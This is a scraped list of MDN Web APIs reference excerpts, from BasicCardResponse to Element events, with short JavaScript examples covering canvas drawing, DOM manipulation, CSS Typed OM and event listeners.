BasicCardResponse.expiryYear - Web APIs
}); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
BasicCardResponse - Web APIs
} once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
Beacon API - Web APIs
example code of the interfaces described in this document is included in using the beacon api.
BiquadFilterNode() - Web APIs
the biquadfilternode() constructor of the web audio api creates a new biquadfilternode object, which represents a simple low-order filter, and is created using the audiocontext.createbiquadfilter() method.
BiquadFilterNode.getFrequencyResponse() - Web APIs
example in the following example we are using a biquad filter on a media stream (for the full demo, see our stream-source-buffer demo live, or read the source.) as part of this demo, we get the frequency responses for this biquad filter, for five sample frequencies.
BiquadFilterNode - Web APIs
the biquadfilternode interface represents a simple low-order filter, and is created using the audiocontext.createbiquadfilter() method.
Blob.stream() - Web APIs
WebAPIBlobstream
usage notes with stream() and the returned readablestream, you gain several interesting capabilities: call getreader() on the returned stream to get an object to use to read the data from the blob using methods such as the readablestreamdefaultreader interface's read() method.
BlobBuilder - Web APIs
getblob() returns the blob object that has been constructed using the data passed through calls to append().
BluetoothCharacteristicProperties.broadcast - Web APIs
the broadcast read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if the broadcast of the characteristic value is permitted using the server characteristic configuration descriptor.
BluetoothCharacteristicProperties - Web APIs
broadcastread only returns a boolean that is true if the broadcast of the characteristic value is permitted using the server characteristic configuration descriptor.
BluetoothDevice - Web APIs
bluetoothdevice.watchingadvertisements read only if advertisments were activated using bluetoothdevice.watchadvertisements().
Body.body - Web APIs
WebAPIBodybody
example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image.
Body - Web APIs
WebAPIBody
the response is always decoded using utf-8.
BroadcastChannel: messageerror event - Web APIs
ce messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications specification status html living standard living standard ...
CSS.registerProperty() - Web APIs
examples the following will register a custom property, --my-color, using registerproperty(), as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); in this example, the custom property --my-color has been registered using the syntax <color> .
CSSConditionRule - Web APIs
syntax the syntax is described using the webidl format.
CSSGroupingRule - Web APIs
csspagerule syntax the syntax is described using the webidl format.
CSSMathSum - Web APIs
examples we create an element with a width determined using a calc() function, then console.log() the operator and values, and dig into the values a bit.
CSSMathValue.operator - Web APIs
interface value cssmathsum "sum" cssmathproduct "product" cssmathmin "min" cssmathmax "max" cssmathclamp "clamp" cssmathnegate "negate" cssmathinvert "invert" examples we create an element with a width determined using a calc() function, then console.log() the operator.
CSSMathValue - Web APIs
examples we create an element with a width determined using a calc() function, then console.log() the operator.
CSSMediaRule - Web APIs
syntax the syntax is described using the webidl format.
CSSNamespaceRule - Web APIs
syntax the syntax is described using the webidl format.
CSSPageRule - Web APIs
syntax the syntax is described using the webidl format.
CSSPrimitiveValue.getCounterValue() - Web APIs
modification to the corresponding style property can be achieved using the counter interface.
CSSPrimitiveValue.getFloatValue() - Web APIs
the value can be obtained by using the getfloatvalue method.
CSSPrimitiveValue.getRGBColorValue() - Web APIs
modification to the corresponding style property can be achieved using the rgbcolor interface.
CSSPrimitiveValue.getRectValue() - Web APIs
modification to the corresponding style property can be achieved using the rect interface.
CSSPrimitiveValue.setFloatValue() - Web APIs
the value can be obtained by using the getfloatvalue method.
CSSRule.cssText - Web APIs
WebAPICSSRulecssText
see using dynamic styling information for details.
CSSStyleDeclaration.cssText - Web APIs
to be able to set a stylesheet rule dynamically, see using dynamic styling information.
CSSStyleDeclaration - Web APIs
a cssstyledeclaration object can be exposed using three different apis: via htmlelement.style, which deals with the inline styles of a single element (e.g., <div style="...">).
CSSStyleRule.selectorText - Web APIs
this is readonly in some browsers; to set stylesheet rules dynamically cross-browser, see using dynamic styling information.
CSSStyleSheet.cssRules - Web APIs
examples individual rules within the stylesheet can then be accessed by index: let rulelist = document.stylesheets[0].cssrules; for (let i=0; i < rulelist.length; i++) { processrule(rulelist[i]); } rules can also be accessed using for...of: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { processrule(rule); } however, because cssrule is not a proper array, you can't use foreach().
CSSStyleSheet.rules - Web APIs
while rules is unlikely to be removed soon, its availability is not as widespread and using it will result in compatibility problems for your site or app.
CSSSupportsRule - Web APIs
syntax the syntax is described using the webidl format.
CSSUnparsedValue - Web APIs
custom properties are represented by cssunparsedvalue and var() references are represented using cssvariablereferencevalue.
CSS Properties and Values API - Web APIs
examples the following uses css.registerproperty in javascript to type a css custom properties, --my-color, as a color, give it a default value, and not allow it to inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); the same registration can take place in css using the following @property: @property --my-color { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } specifications specification status comment css properties and values api level 1 working draft initial definition.
Cache.add() - Web APIs
WebAPICacheadd
this consists of calling cachestorage.open to create a new cache, then using cache.add to add an asset to it.
Cache.addAll() - Web APIs
WebAPICacheaddAll
this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it.
Cache - Web APIs
WebAPICache
this is functionally equivalent to calling fetch(), then using put() to add the results to the cache.
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it.
CanvasRenderingContext2D.addHitRegion() - Web APIs
examples using the addhitregion method this example demonstrates the addhitregion() method.
CanvasRenderingContext2D.canvas - Web APIs
you can get a reference to the canvas element within the canvasrenderingcontext2d by using the canvas property: var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.canvas // htmlcanvaselement specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.canvas' in that specification.
CanvasRenderingContext2D.clearHitRegions() - Web APIs
syntax void ctx.clearhitregions(); examples using the clearhitregions method this example demonstrates the clearhitregions() method.
CanvasRenderingContext2D.clearRect() - Web APIs
note: be aware that clearrect() may cause unintended side effects if you're not using paths properly.
CanvasRenderingContext2D.clip() - Web APIs
ircular clipping region ctx.beginpath(); ctx.arc(100, 75, 50, 0, math.pi * 2); ctx.clip(); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); ctx.fillstyle = 'orange'; ctx.fillrect(0, 0, 100, 100); result specifying a path and a fillrule this example saves two rectangles to a path2d object, which is then made the current clipping region using the clip() method.
CanvasRenderingContext2D.createLinearGradient() - Web APIs
examples filling a rectangle with a linear gradient this example initializes a linear gradient using the createlineargradient() method.
CanvasRenderingContext2D.currentTransform - Web APIs
a rectangle is then drawn using that transformation.
CanvasRenderingContext2D.drawWindow() - Web APIs
if you're using it from an extension, you should switch to tabs.capturetab.
CanvasRenderingContext2D.fill() - Web APIs
a hole is left unfilled in the object's center by using the "evenodd" rule; by default (with the "nonzero" rule), the hole would also be filled.
CanvasRenderingContext2D.fillRect() - Web APIs
examples a simple filled rectangle this example draws a filled green rectangle using the fillrect() method.
CanvasRenderingContext2D.fillStyle - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in this example, we use two for loops to draw a grid of rectangles, each having a different fill color.
CanvasRenderingContext2D.filter - Web APIs
applying a blur this example blurs a piece of text using the filter property.
CanvasRenderingContext2D.getImageData() - Web APIs
note: image data can be painted onto a canvas using the putimagedata() method.
CanvasRenderingContext2D.getTransform() - Web APIs
we apply a transform to the first one's context using canvasrenderingcontext2d.settransform() and draw a square on it, then retrieve the matrix from it using gettransform().
CanvasRenderingContext2D.lineTo() - Web APIs
examples drawing a straight line this example draws a straight line using the lineto() method.
CanvasRenderingContext2D.lineWidth - Web APIs
examples changing line width this example draws a line and a rectangle, using a line width of 15 units.
CanvasRenderingContext2D.measureText() - Web APIs
you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('hello world'); console.log(text.width); // 56; specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.measuretext' in that specification.
CanvasRenderingContext2D.miterLimit - Web APIs
examples using the miterlimit property see the chapter applying styles and color in the canvas tutorial for more information.
CanvasRenderingContext2D.removeHitRegion() - Web APIs
examples using the removehitregion method this example demonstrates the removehitregion() method.
CanvasRenderingContext2D.resetTransform() - Web APIs
syntax void ctx.resettransform(); examples resetting the matrix this example draws a rotated rectangle after modifying the matrix, and then resets the matrix using the resettransform() method.
CanvasRenderingContext2D.rotate() - Web APIs
to change the center point, you will need to move the canvas by using the translate() method.
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
examples using the scrollpathintoview method this example demonstrates the scrollpathintoview() method.
CanvasRenderingContext2D.setLineDash() - Web APIs
note: to return to using solid lines, set the line dash list to an empty array.
CanvasRenderingContext2D.setTransform() - Web APIs
we apply a transform to the first one's context using the first type of settransform() and draw a square on it, then retrieve the matrix from it using canvasrenderingcontext2d.gettransform().
CanvasRenderingContext2D.strokeRect() - Web APIs
examples a simple stroked rectangle this example draws a rectangle with a green outline using the strokerect() method.
CanvasRenderingContext2D.strokeStyle - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in this example, we use two for loops and the arc() method to draw a grid of circles, each having a different stroke color.
Compositing and clipping - Web APIs
after this a set of 50 randomly positioned and scaled stars is drawn, using the custom drawstar() function.
Hit regions and accessibility - Web APIs
in general, you should avoid using canvas in an accessible website or app.
CaretPosition - Web APIs
you can get a caretposition using the document.caretpositionfrompoint method.
ChannelMergerNode - Web APIs
using a channelmergernode, it is possible to create outputs with more channels than the rendering hardware is able to process.
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
syntax node.remove(); example using remove() <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <div id="div-03">here is div-03</div> var el = document.getelementbyid('div-02'); el.remove(); // removes the div with the 'div-02' id childnode.remove() is unscopable the remove() method is not scoped into the with statement.
ChildNode.replaceWith() - Web APIs
examples using replacewith() var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); var span = document.createelement("span"); child.replacewith(span); console.log(parent.outerhtml); // "<div><span></span></div>" childnode.replacewith() is unscopable the replacewith() method is not scoped into the with statement.
Clipboard.readText() - Web APIs
you can write text to the clipboard using writetext().
Clipboard.writeText() - Web APIs
text may be read back using either read() or readtext().
ClipboardItem() - Web APIs
examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api.
ClipboardItem - Web APIs
examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem.
Clipboard API - Web APIs
this api is designed to supersede accessing the clipboard using document.execcommand().
CloseEvent - Web APIs
a closeevent is sent to clients using websockets when the connection is closed.
console.assert() - Web APIs
WebAPIConsoleassert
examples the following code example demonstrates the use of a javascript object following the assertion: const errormsg = 'the # is not even'; for (let number = 2; number <= 5; number += 1) { console.log('the # is ' + number); console.assert(number % 2 === 0, {number: number, errormsg: errormsg}); // or, using es2015 object property shorthand: // console.assert(number % 2 === 0, {number, errormsg}); } // output: // the # is 2 // the # is 3 // assertion failed: {number: 3, errormsg: "the # is not even"} // the # is 4 // the # is 5 // assertion failed: {number: 5, errormsg: "the # is not even"} note that, while a string containing a substitution string works as a parameter for console.log in node a...
console.debug() - Web APIs
WebAPIConsoledebug
see using string substitutions in console for a description of how substitutions work.
Console.groupCollapsed() - Web APIs
see using groups in the console in the console documentation for details and examples.
Console.groupEnd() - Web APIs
WebAPIConsolegroupEnd
see using groups in the console in the console documentation for details and examples.
Console.timeEnd() - Web APIs
WebAPIConsoletimeEnd
me("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.timeend("answer time"); the output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: notice that the timer's name is displayed when the timer value is logged using timelog() and again when it's stopped.
Console.timeLog() - Web APIs
WebAPIConsoletimeLog
time("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.timeend("answer time"); the output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: notice that the timer's name is displayed when the timer value is logged using timelog() and again when it's stopped.
Console API - Web APIs
find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console.
ConstantSourceNode.offset - Web APIs
with the linkage above in place, that can be done using this simple event handler: function handleclickevent(event) { volumeslidercontrol.value = constantsource.offset.value; } all this function has to do is fetch the current value of the slider control we're using to control the paired nodes' gains, then store that value into the constantsourcenode's offset parameter.
ContentIndexEvent() - Web APIs
return value a contentindexevent object configured using the given inputs.
Content Index API - Web APIs
service worker additions the following additions to the serviceworker have been specified in the content index api spec to provide an entry point for using content indexing.
CrashReportBody - Web APIs
examples crash reports are generally only retrievable via endpoints set up using the report-to header.
Crypto - Web APIs
WebAPICrypto
usage notes you should avoid using the web crypto api on insecure contexts, even though the crypto interface is present on insecure contexts, as is the window.crypto property.
CryptoKey - Web APIs
WebAPICryptoKey
cryptokey.extractable boolean indicating whether or not the key may be extracted using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
CryptoKeyPair - Web APIs
a cryptokeypair object can be obtained using subtlecrypto.generatekey(), when the selected algorithm is one of the asymmetric algorithms: rsassa-pkcs1-v1_5, rsa-pss, rsa-oaep, ecdsa, or ecdh.
CustomEvent - Web APIs
event.istrusted read only indicates whether or not the event was initiated by the browser (after a user click, for instance) or by a script (using an event creation method, like event.initevent).
DOMException - Web APIs
versionerror an attempt was made to open a database using a lower version than the existing version (no legacy code value and constant name).
DOMParser() - Web APIs
this object can be used to parse the text of a document using the parsefromstring() method.
DOMPoint.fromPoint() - Web APIs
you can also create a new dompoint object using the new dompoint() constructor.
DOMPoint - Web APIs
WebAPIDOMPoint
in the following snippet, the pose of the xr device (such as a vr headset or phone with ar capabilities) can be retrieved by calling using xrframe.getviewerpose() during an xrsession animation frame, then accessing the resulting xrpose's transform property, which contains two dompointreadonly attributes: position as a vector and orientation as a quaternion.
DOMPointInit.y - Web APIs
WebAPIDOMPointInity
this may change if transforms have been applied causing the axes' orientation to change.
DOMPointReadOnly - Web APIs
to create a point using adompointinit object, you can instead use dompointreadonly.frompoint().
DOMTokenList.add() - Web APIs
WebAPIDOMTokenListadd
return value undefined examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
DOMTokenList.contains() - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
DOMTokenList.length - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist, then write the length of the list to the <span>'s node.textcontent.
DOMTokenList.remove() - Web APIs
return value undefined examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
DOMTokenList.replace() - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
DOMTokenList.toggle() - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
DOMTokenList.value - Web APIs
syntax tokenlist.value; value a domstring examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist, then write the value of the list to the <span>'s node.textcontent.
DOMTokenList - Web APIs
examples in the following simple example, we retrieve the list of classes set on a <p> element as a domtokenlist using element.classlist, add a class using domtokenlist.add(), and then update the node.textcontent of the <p> to equal the domtokenlist.
DataTransferItemList.DataTransferItem() - Web APIs
the datatransferitem() getter method implements support for accessing items in the datatransferitemlist using array-style syntax (that is datatransferitem[index]).
DataTransferItemList.add() - Web APIs
the datatransferitemlist.add() method creates a new datatransferitem using the specified data and adds it to the drag data list.
DedicatedWorkerGlobalScope: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples listen for messageerror using addeventlistener(): // inside worker.js self.addeventlistener('messageerror', (event) => { self.postmessage('error receiving message'); console.error(event); }); the same, but using the onmessageerror event handler property: // inside worker.js self.onmessageerror = (event) => { self.postmessage('error receiving message'); console.error(event); }; specifications specification status html living standard living standard ...
DedicatedWorkerGlobalScope.name - Web APIs
example if a worker is created using a constructor with a name option: var myworker = new worker("worker.js", { name : "myworker" }); the dedicatedworkerglobalscope will now have a name of "myworker", returnable by running self.name from inside the worker.
DeviceMotionEvent - Web APIs
take care about this while using them.
DeviceOrientationEvent.absolute - Web APIs
indicates whether or not the device is providing orientation data absolutely (that is, in reference to the earth's coordinate frame) or using some arbitrary frame determined by the device.
DeviceOrientationEvent - Web APIs
take care about this while using them.
DeviceProximityEvent - Web APIs
the deviceproximityevent interface provides information about the distance of a nearby physical object using the proximity sensor of a device.
DirectoryEntrySync - Web APIs
if you try to create a directory using a full path that includes parent directories that do not exist yet, you get an error.
DisplayMediaStreamConstraints.video - Web APIs
constraints specific to screen sharing these constraints apply to mediatrackconstraints objects specified as part of the displaymediastreamconstraints object's video property when using getdisplaymedia() to obtain a stream for screen sharing.
DisplayMediaStreamConstraints - Web APIs
processing information is specified using mediatrackconstraints objects providing options which are applied to the track after the media data is received but before it is made available on the mediastream.
Document.adoptNode() - Web APIs
example const iframe = document.queryselector('iframe'); const iframeimages = iframe.contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document: animationend event - Web APIs
examples this example listens for the animationend event: document.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: document.onanimationend = () => { console.log('animation ended'); }; see a live example of this event.
Document: animationiteration event - Web APIs
examples this code uses animationiteration to keep track of the number of iterations an animation has completed: let iterationcount = 0; document.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler property: let iterationcount = 0; document.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; see a live example of this event.
Document: animationstart event - Web APIs
examples this listens for the animationstart event and logs a message when it is fired: document.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: document.onanimationstart = () => { console.log('animation started'); }; see a live example of this event.
Document.createDocumentFragment() - Web APIs
historically, using document fragments could result in better performance.
Document.createTouch() - Web APIs
example this example illustrates using the document.createtouch() method to create touch objects.
Document.createTouchList() - Web APIs
example this example illustrates using the document.createtouchlist() method to create touchlist objects.
Document.forms - Web APIs
WebAPIDocumentforms
note: similarly, you can access a list of a form's component user input elements using the htmlformelement.elements property.
Document.fullscreen - Web APIs
example this simple function reports whether or not full-screen mode is currently active, using the obsolete fullscreen property.
Document.getElementById() - Web APIs
if you need to get access to an element which doesn't have an id, you can use queryselector() to find the element using any selector.
Document.getElementsByName() - Web APIs
example <!doctype html> <html lang="en"> <title>example: using document.getelementsbyname</title> <input type="hidden" name="up"> <input type="hidden" name="down"> <script> var up_names = document.getelementsbyname("up"); console.log(up_names[0].tagname); // displays "input" </script> </html> notes the name attribute can only be applied in (x)html documents.
Document.head - Web APIs
WebAPIDocumenthead
example <!doctype html> <head id="my-document-head"> <title>example: using document.head</title> </head> <script> var thehead = document.head; console.log(thehead.id); // "my-document-head"; console.log( thehead === document.queryselector("head") ); // true </script> notes document.head is read-only.
Document.importNode() - Web APIs
example const iframe = document.queryselector("iframe"); const oldnode = iframe.contentwindow.document.getelementbyid("mynode"); const newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(newnode); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document: lostpointercapture event - Web APIs
const para = document.queryselector('p'); document.addeventlistener('lostpointercapture', () => { console.log('i\'ve been released!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, but using the onlostpointercapture event handler property: const para = document.queryselector('p'); document.onlostpointercapture = () => { console.log('i\'ve been released!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
Document.onfullscreenerror - Web APIs
since requestfullscreen() can only be called in response to user action, for security reasons, this will fail, causing the fullscreenerror to be sent to the document.
Document.open() - Web APIs
WebAPIDocumentopen
as a result, you can no longer call document.write() into an untrusted document from chrome, even using wrappedjsobject.
Document: pointerdown event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerdown examples using addeventlistener(): document.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: document.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status pointer events obsolete ...
Document: pointerenter event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerenter examples using addeventlistener(): document.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: document.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer events obsolete ...
Document: pointerleave event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerleave examples using addeventlistener(): document.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: document.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
Document: pointerlockchange event - Web APIs
bubbles yes cancelable no interface event event handler property onpointerlockchange examples using addeventlistener(): document.addeventlistener('pointerlockchange', (event) => { console.log('pointer lock changed'); }); using the onpointerlockchange event handler property: document.onpointerlockchange = (event) => { console.log('pointer lock changed'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointerlockerror event - Web APIs
bubbles yes cancelable no interface event event handler property onpointerlockerror examples using addeventlistener(): const para = document.queryselector('p'); document.addeventlistener('pointerlockerror', (event) => { console.log('error locking pointer'); }); using the onpointerlockerror event handler property: document.onpointerlockerror = (event) => { console.log('error locking pointer'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointermove event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointermove examples using addeventlistener(): document.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); using the onpointermove event handler property: document.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
Document: pointerout event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerout examples using addeventlistener(): document.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: document.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsolete ...
Document: pointerover event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerover examples using addeventlistener(): document.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: document.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
Document: pointerup event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerup examples using addeventlistener(): document.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: document.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
Document.referrer - Web APIs
WebAPIDocumentreferrer
syntax var referrer = document.referrer; value the value is an empty string if the user navigated to the page directly (not through a link, but, for example, by using a bookmark).
Document: scroll event - Web APIs
instead, it is recommended to throttle the event using requestanimationframe(), settimeout(), or a customevent, as follows.
Document.selectedStyleSheetSet - Web APIs
you can also set the current style sheet set using this property.
Document.styleSheetSets - Web APIs
duplicates are dropped from the list (using a case-sensitive comparison).
Document: transitioncancel event - Web APIs
examples this code adds a listener to the transitioncancel event: document.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): document.ontransitioncancel = () => { console.log('transition canceled'); }; see a live example of this event.
Document: transitionend event - Web APIs
examples this code adds a listener to the transitionend event: document.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend property instead of addeventlistener(): document.ontransitionend = () => { console.log('transition ended'); }; see a live example of this event.
Document: transitionrun event - Web APIs
examples this code adds a listener to the transitionrun event: document.addeventlistener('transitionrun', () => { console.log('transition is running but hasn't necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): document.ontransitionrun = () => { console.log('transition started running'); }; see a live example of this event.
Document: transitionstart event - Web APIs
examples this code adds a listener to the transitionstart event: document.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): document.ontransitionrun = () => { console.log('started transitioning'); }; see a live example of this event.
Document.write() - Web APIs
WebAPIDocumentwrite
note: using document.write() in deferred or asynchronous scripts will be ignored and you'll get a message like "a call to document.write() from an asynchronously-loaded external script was ignored" in the error console.
Document.xmlEncoding - Web APIs
try to avoid using it.
Document.xmlVersion - Web APIs
try to avoid using it.
DocumentFragment.querySelectorAll() - Web APIs
the documentfragment.queryselectorall() method returns a nodelist of elements within the documentfragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors.
Document Object Model (DOM) - Web APIs
ered obsolete and should be avoided: documenttouch domconfiguration domerrorhandler domimplementationlist domimplementationregistry domimplementationsource domlocator domobject domsettabletokenlist domuserdata elementtraversal entity entityreference namelist notation typeinfo userdatahandler html dom a document containing html is described using the document interface, which is extended by the html specification to include various html-specific features.
DynamicsCompressorNode - Web APIs
dynamicscompressornode is an audionode that has exactly one input and one output; it is created using the audiocontext.createdynamicscompressor() method.
EcdhKeyDeriveParams - Web APIs
the ecdhkeyderiveparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.derivekey(), when using the ecdh algorithm.
EcdsaParams - Web APIs
the ecdsaparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.sign() or subtlecrypto.verify() when using the ecdsa algorithm.
EffectTiming.duration - Web APIs
consider using "auto" rather than 0 if that makes sense.
EffectTiming.easing - Web APIs
example, we animate alice and the red queen by passing an easing of steps(7, end) to animate(): // define the key frames var spriteframes = [ { transform: 'translatey(0)' }, { transform: 'translatey(-100%)' } ]; // get the element that represents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "reverse", duration: 600, playbackrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
Element: DOMActivate event - Web APIs
the domactivate event is fired at an element when it becomes active, such as when it is clicked on using the mouse or a keypress is used to navigate to it.
Element: DOMMouseScroll event - Web APIs
note: if the platform's native mouse wheel events only provide scroll distance by pixels, or if the speed can be customized by the user, the value is computed using the line height of the nearest scrollable ancestor element of the event's target.
Element: MSManipulationStateChanged event - Web APIs
bubbles unknown cancelable unknown interface msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties.
Element: MozMousePixelScroll event - Web APIs
if the platform's native mouse wheel events indicate the scroll distance in terms of lines or pages, the value of detail is computed using that value and the line height or page width/height of the nearest ancestor scrollable element that contains the target element.
Element.attachShadow() - Web APIs
this can be one of: open: elements of the shadow root are accessible from javascript outside the root, for example using element.shadowroot: element.shadowroot; // returns a shadowroot obj closed: denies access to the node(s) of a closed shadow root from javascript outside it: element.shadowroot; // returns null delegatesfocus a boolean that, when set to true, specifies behavior that mitigates custom element issues around focusability.
Element: blur event - Web APIs
d" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the usecapture parameter of addeventlistener() to true.
Element.className - Web APIs
WebAPIElementclassName
it is better to get/set the classname of an element using element.getattribute and element.setattribute if you are dealing with svg elements.
Element: click event - Web APIs
stop using click event delegation.
Element.clientLeft - Web APIs
it includes the width of the vertical scrollbar if the text direction of the element is right–to–left and if there is an overflow causing a left vertical scrollbar to be rendered.
Element: compositionend event - Web APIs
for example, this event could be fired after a user finishes entering a chinese character using a pinyin ime.
Element: compositionstart event - Web APIs
for example, this event could be fired after a user starts entering a chinese character using a pinyin ime.
Element: compositionupdate event - Web APIs
for example, this event could be fired while a user enters a chinese character using a pinyin ime.
Element.computedStyleMap() - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return back a definition list of all the css property values using computedstylemap().
Element: contextmenu event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property oncontextmenu examples in this example, the default action of the contextmenu event is canceled using preventdefault() when the contextmenu event is fired at the first paragraph.
Element: copy event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
Element: cut event - Web APIs
WebAPIElementcut event
